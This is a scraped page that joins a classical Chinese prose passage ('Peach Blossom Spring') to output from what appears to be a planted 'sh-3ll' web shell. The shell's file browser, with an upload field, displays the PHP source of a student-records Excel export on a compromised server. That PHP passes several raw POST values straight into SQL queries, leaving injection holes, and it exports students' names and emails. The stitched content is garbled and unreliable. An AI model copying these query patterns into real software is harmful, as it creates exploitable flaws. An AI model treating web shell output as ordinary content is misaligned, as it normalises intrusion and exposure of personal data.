晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/bolconlineco/www/aaaaaa/coordinator/
Upload File :
Current File : /home/bolconlineco/www/aaaaaa/coordinator/excel.php
<?php
include('../includes/connection/func.inc.php');

	header("Content-type: application/vnd-ms-excel");
	header("Content-Disposition: attachment; filename=codelution-export.xls");

	if(!empty($_POST['studentId']))
	{
		$studentId=sql_strip($_POST['studentId']);
		$result=mysql_query("select * from student where rollno='$studentId'");

	}else if(!empty($_POST['email']))  {
		$email=sql_strip($_POST['email']);
		$result=mysql_query("select * from student where email like '%$email%'");

	}else if(!empty($_POST['firstname']))
	{
		$firstname=sql_strip($_POST['firstname']);
		$result=mysql_query("select * from student where fname like '%$firstname%' order by registrationdate");
		$num=mysql_num_rows($result);

	}else if(!empty($_POST['lastname']))
	{
		$lastname=sql_strip($_POST['lastname']);
		$result=mysql_query("select * from student where lname like '%$lastname%' order by registrationdate");

	}else if(!empty($_POST['tutor']))
	{
		// Return more rows
		$tutr=sql_strip($_POST['tutor']);

		$result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
				ac.tutorId='$tutr' order by registrationdate");



	}else if(!empty($_POST['country']))
	{
		$country=$_POST['country'];
		$result=mysql_query("select * from student where country like '%$country%' order by registrationdate");

	}else if(!empty($_POST['city']))
	{
		$city=sql_strip($_POST['city']);
		$result=mysql_query("select * from student where city like '%$city%' order by registrationdate");


	}else if(!empty($_POST['dob']))
	{
		$dob=$_POST['dob'];
		$d1=explode('/',$dob);
		$new=$d1[2].'-'.$d1[1].'-'.$d1[0];
		$result=mysql_query("select * from student where dob='$new' order by registrationdate");

	}else if(!empty($_POST['registfrom']) && !empty($_POST['rto'])&& !empty($_POST['sstatus'])){
		$date2=$_POST['registfrom'];
		$full2=explode('/',$date2);

		$rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

		$date1=$_POST['rto'];
		$full=explode('/',$date1);
		$sta=$_POST['sstatus'];

		$rto=$full[2].'-'.$full[1].'-'.$full[0];


		//$from=date('Y-m-d',strtotime($_POST['registfrom']));
		//$too=date('Y-m-d',strtotime($_POST['rto']));
		$result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
				s.registrationdate between '$rfrom' and '$rto' and studentstatus='$sta' order by s.registrationdate");


	} else if (!empty($_POST['registfrom']) && !empty($_POST['rto'])) {
		$date2=$_POST['registfrom'];
		$full2=explode('/',$date2);

		$rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

		$date1=$_POST['rto'];
		$full=explode('/',$date1);


		$rto=$full[2].'-'.$full[1].'-'.$full[0];


		//$from=date('Y-m-d',strtotime($_POST['registfrom']));
		//$too=date('Y-m-d',strtotime($_POST['rto']));
		$result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
				s.registrationdate between '$rfrom' and '$rto' order by s.registrationdate");


	}
	else if(!empty($_POST['compfrom']) && !empty($_POST['compto'])){
		$date2=$_POST['compfrom'];
		$full2=explode('/',$date2);

		$rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

		$date1=$_POST['compto'];
		$full=explode('/',$date1);


		$rto=$full[2].'-'.$full[1].'-'.$full[0];


		//$from=date('Y-m-d',strtotime($_POST['registfrom']));
		//$too=date('Y-m-d',strtotime($_POST['rto']));
		$result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
				s.comp_date between '$rfrom' and '$rto' order by s.registrationdate");

	}

	else if(!empty($_POST['taskfrom']) && !empty($_POST['taskto'])) {

		$date2=$_POST['taskfrom'];
		$full2=explode('/',$date2);

		$taskfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

		$date1=$_POST['taskto'];
		$full=explode('/',$date1);

		$taskto=$full[2].'-'.$full[1].'-'.$full[0];
		$result=mysql_query("select s.*,t.* from student as s join tasks as t on s.rollno=t.rollno where
				t.taskdate between '$taskfrom' and '$taskto' group by s.rollno order by t.taskdate,s.registrationdate");
	} else if(!empty($_POST['assg_task'])) {

		$result=mysql_query("select s.*,t.* from student as s join tasks as t on s.rollno=t.rollno where t.assigned_to = '".$_POST['assg_task']."' group by s.rollno order by t.taskdate,s.registrationdate");
	}
	else if(!empty($_POST['balfrom']) && !empty($_POST['balto']))
	{
		$balfrom=date($_POST['balfrom']);
		$balto=date($_POST['balto']);

		//$result=mysql_query("select s.*,sum(tf.paid) as total from student as s inner  join  tbl_fees_install as tf on s.rollno=tf.rollno group by s.rollno having total between '$balfrom' and '$balto' ") or die(mysql_error());
		// $result=mysql_query("select s.*,abs(sum(tf.payble)-sum(f.paid)) as total from student as s  join  tbl_fees_install as tf on s.rollno=tf.rollno  join tbl_install as f on tf.rollno=f.rollno group by s.rollno having total between '$balfrom' and '$balto'") or die(mysql_error());
		$result=mysql_query("select s.*,abs(sum(f.payble)-sum(f.paid)) as total_dues from student as s join tbl_fees_install as f on s.rollno=f.rollno group by rollno having total_dues between '$balfrom' and '$balto'");

	}

	else if(!empty($_POST['from']) && !empty($_POST['to']))
	{
		$formm=date($_POST['from']);
		$full1=explode('/',$formm);
		$too=date($_POST['to']);
		$full2=explode('/',$too);
		$f=$full1[2].'-'.$full1[1].'-'.$full1[0];
		$t=$full2[2].'-'.$full2[1].'-'.$full2[0];
		if(isset($_POST['assg_all']))
		{

			$result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where   ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
		}
		else if(isset($_POST['assg_comp']))
		{

			$result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=0 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
		}
		else
		{

			$result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=1 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
		}

	}else if(!empty($_POST['category']) && !empty($_POST['course']))
	{
		//$category=sql_strip($_POST['category']);
		$course=sql_strip($_POST['course']);
		$query="select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno
		where  ac.courseid='$course' order by s.registrationdate";
		$result=mysql_query($query) or die(mysql_error());



	} else if(!empty($_POST['sstatus'])) {
		$status=sql_strip($_POST['sstatus']);
		//$query="select * from student where studentstatus='$status'";
		$result=mysql_query("select * from student where studentstatus='$status' order by registrationdate");
	} else if(!empty($_POST['stage'])) {
		$stage=sql_strip($_POST['stage']);
		//$query="select * from student where studentstatus='$status'";
		$result=mysql_query("select * from student where stage='$stage' order by registrationdate");
	}

	?>
<div style="clear: both;"></div>


<div class="table-responsive">
<table border="1">
<thead>
<tr>
    <th>#</th>
    <th >Reg Date</th>
    <th>Course</th>
    <th>ID</th>
    <th>First Name</th>
    <th>Last Name</th>
    <th>Email</th>
    <th>Country</th>
    <th>Source</th>
    <th>Stage</th>
    <th>Level</th>
    <th>Task</th>
    <th>Assignment</th>
    <th>I</th>
    <th>C</th>
    <th>A</th>
    <!--<th>Paid</th>
    <th>Bal</th>
    <th>Due</th>-->
    <th>Status</th>
    <th>Login</th>
</tr><!-- end title -->
</thead>
<tbody>
<?php
$numresult=mysql_num_rows($result);
$sr=0;
while(@$row=mysql_fetch_array($result))
{

    $email_found = $row['email'];

    $log_query = "SELECT detetime FROM tbl_logs WHERE username='$email_found'";
    $log_result = mysql_query($log_query);
    if(!$log_result){
        die(mysql_error());
    }

    if(mysql_num_rows($log_result) > 0){
        $login_row = mysql_fetch_array($log_result);
        $login = date('m-d-Y', strtotime($login_row['detetime']));
    } else {
        $login = 'No';
    }

    $sr++; ?>
    <tr>
        <td><?php echo $sr; ?></td>
        <td><?php  echo date('d/m/Y',strtotime($row['registrationdate']));?></td>

        <?php $qqq=mysql_query("select * from assigncourse where rollno=".$row['rollno']);
        $fetch=mysql_fetch_array($qqq);
        $qu3=mysql_query("select firstname,lastname from tutor where tutorId=".$fetch['tutorId']) or die(mysql_error());
        $fetchs=mysql_fetch_array($qu3);
        $course=mysql_query("select courseName from course where courseId=".$fetch['courseid']) or die(mysql_error());
        $ff=mysql_fetch_array($course); ?>

        <td><?php   echo $ff['courseName'];?></td>
        <td><a href="studentInfo.php?Id=<?php echo $row['rollno']; ?>" target="_new" ><?php echo $row['rollno'];?></a></td>
        <td><?php echo $row['fname'];?></td>
        <td><?php echo $row['lname']; ?></td>
        <td><?php echo $row['email']; ?></td>
        <td><?php echo $row['country'];?></td>
        <td><?php echo $row['admission_source'];?></td>
        <?php $stage = $row['stage'];
        $stage_sql = mysql_fetch_array(mysql_query("SELECT title FROM stages WHERE id='$stage'"));
        ?>
        <td><?php echo $stage_sql['title'];?></td>
		<td><?php echo $row['level'];?></td>
        <?php
        $q=mysql_query("select * from studentassignment where rollno=".$row['rollno']." and AssignmentStatus=2 order by SAid asc limit 1") or die(mysql_error());
        $date=mysql_fetch_array($q);


        $qq01="select * from uploadassignment where rollno=".$row['rollno']." and uploadstatus=1 order by uploaddate asc limit 1";
        $rr=mysql_query($qq01) or die(mysql_error());
        $dd=mysql_fetch_array($rr); ?>

        <?php
        $q="select * from tasks where taskstatus=0 and rollno=".$row['rollno'];

        $r=mysql_query($q) or die(mysql_error()); ?>

        <td>
            <?php
            if(mysql_num_rows($r)>0)
            {
                while($rows=mysql_fetch_array($r))
                {
                    $fulls=explode('-',$rows['taskdate']);
                    $year=$fulls[0];
                    $month=$fulls[1];
                    $day=$fulls[2];
                    $date=$day.'/'.$month.'/'.$year;
                    echo $date.'</br>';

                }
            }else
            {
                echo "No Tasks";
            }

            ?>

        </td>

        <td><?php
            if(!empty($date['AssignmentStatus']))
            {
                if(($date['AssignmentStatus']==1))
                {
                    echo "N/A";
                }else if($date['AssignmentStatus']==2){
                    // dd check the uploadassignment
                    if(empty($dd['uploaddate']))
                    {
                        echo "N/A";
                    }else{
                        $d1=$dd['uploaddate'];
                        $full=explode('-',$d1);
                        $year=$full[0];
                        $month=$full[1];
                        $day=$full[2];
                        $dat=$day.'/'.$month.'/'.$year;
                        echo $dat;
                        //echo "Tutor ($dat)";
                    }
                }else if($date['AssignmentStatus']==3)
                {
                    echo "N/A";
                }
            }
            else
            {
                echo "N/A";
            }
            ?></td>
        <?php


        $Total=mysql_query("select * from tbl_fee where rollno=".$row['rollno']) or die(mysql_error());
        $fetchTotal=mysql_fetch_array($Total);

        $totalpayble=mysql_query("select sum(payble) as payble from tbl_fees_install where rollno=".$row['rollno']) or die(mysql_error());
        $fetchtotalpayble=mysql_fetch_array($totalpayble);

        $fetch=mysql_query("select sum(paid) as total_paid from tbl_fees_install where rollno=".$row['rollno']) or die(mysql_error());
        $fetches=mysql_fetch_array($fetch);

        $total_ass="";
        $total_issue="";
        $get_course=mysql_query("select * from assigncourse where rollno=".$row['rollno']);
        $course_result= mysql_fetch_array($get_course);
        $cc= $course_result['courseid'];

        $q11 = "select * from topic where courseId='$cc'";

        $result11 = mysql_query($q11) or die(mysql_error());
        while($rowset = mysql_fetch_array($result11))
        {

            $qu1 = "select count(SAid) as total from studentassignment where topicId=".$rowset['topicId']." and rollno=".$row['rollno'];
            $qu1result = mysql_query($qu1) or die(mysql_error());
            $total_complete_set= mysql_fetch_array($qu1result);
            $count=$total_complete_set['total'];
            $total_ass= $total_ass+$count;

            $qu2 = "select count(SAid) as total from studentassignment where AssignmentStatus=1 and topicId=".$rowset['topicId']." and  rollno=".$row['rollno'];
            $qu2 = "select count(SAid) as total from studentassignment where AssignmentStatus=1 and topicId=".$rowset['topicId']." and  rollno=".$row['rollno'];
            $gu2result = mysql_query($qu2) or die(mysql_error());
            $total_issue_set = mysql_fetch_array($gu2result);
            $totalas= $total_issue_set['total'];
            $total_issue=$total_issue+$totalas;
        } ?>

        <td><?php  echo $total_issue; ?></td>
        <td><?php echo $total_ass-$total_issue; ?></td>
        <td><?php  echo $total_ass; ?></td>
        <!--<td><?php //  echo substr($fetches['total_paid'],0,-3);?></td>
                <td><?php // echo $fetchTotal['fee']-$fetches['total_paid']; ?></td>
                <td><?php // echo $fetchtotalpayble['payble']-$fetches['total_paid'];  ?></td>-->

        <td><?php

            $studentStatus = $row['studentstatus'];
            
            $login_sql = mysql_query("SELECT StatusName FROM status WHERE StatusId='$studentStatus'");
            $login_row = mysql_fetch_array($login_sql);
            echo $login_row['StatusName'];
            ?></td>
        <td><?php echo $login; ?></td>
    </tr>
    <?php } ?>
</tbody>
</table>